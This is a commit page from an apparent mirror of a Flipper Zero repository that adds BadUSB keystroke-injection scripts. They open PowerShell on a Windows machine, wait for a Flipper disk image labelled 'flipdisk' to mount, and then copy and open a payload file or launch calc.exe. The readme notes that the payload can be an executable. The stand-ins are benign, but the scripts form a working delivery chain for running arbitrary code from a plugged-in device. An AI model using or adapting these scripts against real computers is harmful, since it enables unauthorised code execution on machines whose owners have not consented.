neil/Flipper
1
0
Fork 0
mirror of https://github.com/UberGuidoZ/Flipper.git synced 2026-09-18 18:11:30 +00:00
Code Issues Packages Projects Releases Wiki Activity

Added emptythevoid's BadUSB collection

Browse Source
This commit is contained in:
UberGuidoZ
2024-09-06 13:27:37 -07:00
parent 70856507e4
commit 24f5187975
56 changed files with 6279 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BadUSB/emptythevoid-BadUSB/read-from-flipper-disk-image/copy-and-execute-example.txt
+26
View File
@@ -0,0 +1,26 @@
REM Author: emptythevoid
REM Uses Powershell based on GlennChambers https://forum.macrium.com/332/Powershell-script-to-detect-a-certain-drive-that-is-mounted-then-perfrom-backup
REM Target: Windows 10, 11
REM Category: PoC
REM example code to demonstrate BadUSB powershell waiting for Flipper disk image to mount after execution
REM Powershell will wait until a device with the specified drive label is found.
REM When drive label is mounted, Powershell will copy a payload.txt from the disk image to current user's desktop and open it.
REM disk image in Flipper must have the drive label: flipdisk
REM Open Powershell
DELAY 500
GUI r
DELAY 500
REM Run Powershell by full path to avoid Windows Terminal.
STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
DELAY 500
ENTER
DELAY 750
STRING Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange;do{$newEvent = Wait-Event -SourceIdentifier volumeChange;$eventType = $newEvent.SourceEventArgs.NewEvent.EventType;if ($eventType -eq 2){$driveLetter = $newEvent.SourceEventArgs.NewEvent.DriveName;$driveLabel = ([wmi]"Win32_LogicalDisk='$driveLetter'").VolumeName;if ($driveLabel -eq 'flipdisk'){start-sleep -seconds 1;$Desktoppath=[environment]::getfolderpath("desktop");cp $driveLetter\payload.txt $desktoppath\payload.txt;invoke-item $desktoppath\payload.txt;exit;}};Remove-Event -SourceIdentifier volumeChange;} while (1-eq1);Unregister-Event -SourceIdentifier volumeChange
ENTER
BadUSB/emptythevoid-BadUSB/read-from-flipper-disk-image/readme.md
+9
View File
@@ -0,0 +1,9 @@
Example code that runs powershell via BadUSB that waits for a drive label to mount, and then runs a command. You can use this to read a payload from the Flipper's SD card, such as an executable.
Usage:
- Run BadUSB script. Powershell will launch and then wait for the specified drive label to mount.
- Back out of BadUSB app and switch to Mass Storage app and select a disk image with the matching disk label.
- Once Windows has mounted the drive, it will run the payload.
BadUSB/emptythevoid-BadUSB/read-from-flipper-disk-image/wait-for-drive-example.txt
+26
View File
@@ -0,0 +1,26 @@
REM Author: emptythevoid
REM Uses Powershell based on GlennChambers https://forum.macrium.com/332/Powershell-script-to-detect-a-certain-drive-that-is-mounted-then-perfrom-backup
REM Target: Windows 10, 11
REM Category: PoC
REM example code to demonstrate BadUSB powershell waiting for Flipper disk image to mount after execution
REM Powershell will wait until a device with the specified drive label is found.
REM When drive label is mounted, Powershell will launch calc.exe and exit.
REM Open Powershell
DELAY 500
GUI r
DELAY 500
REM Run Powershell by full path to avoid Windows Terminal.
STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
DELAY 500
ENTER
DELAY 750
ALTSTRING Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange;do{$newEvent = Wait-Event -SourceIdentifier volumeChange;$eventType = $newEvent.SourceEventArgs.NewEvent.EventType;if ($eventType -eq 2){$driveLetter = $newEvent.SourceEventArgs.NewEvent.DriveName;$driveLabel = ([wmi]"Win32_LogicalDisk='$driveLetter'").VolumeName;if ($driveLabel -eq 'flipdisk'){start-sleep -seconds 1;start-process calc.exe;exit;}};Remove-Event -SourceIdentifier volumeChange;} while (1-eq1);Unregister-Event -SourceIdentifier volumeChange
ENTER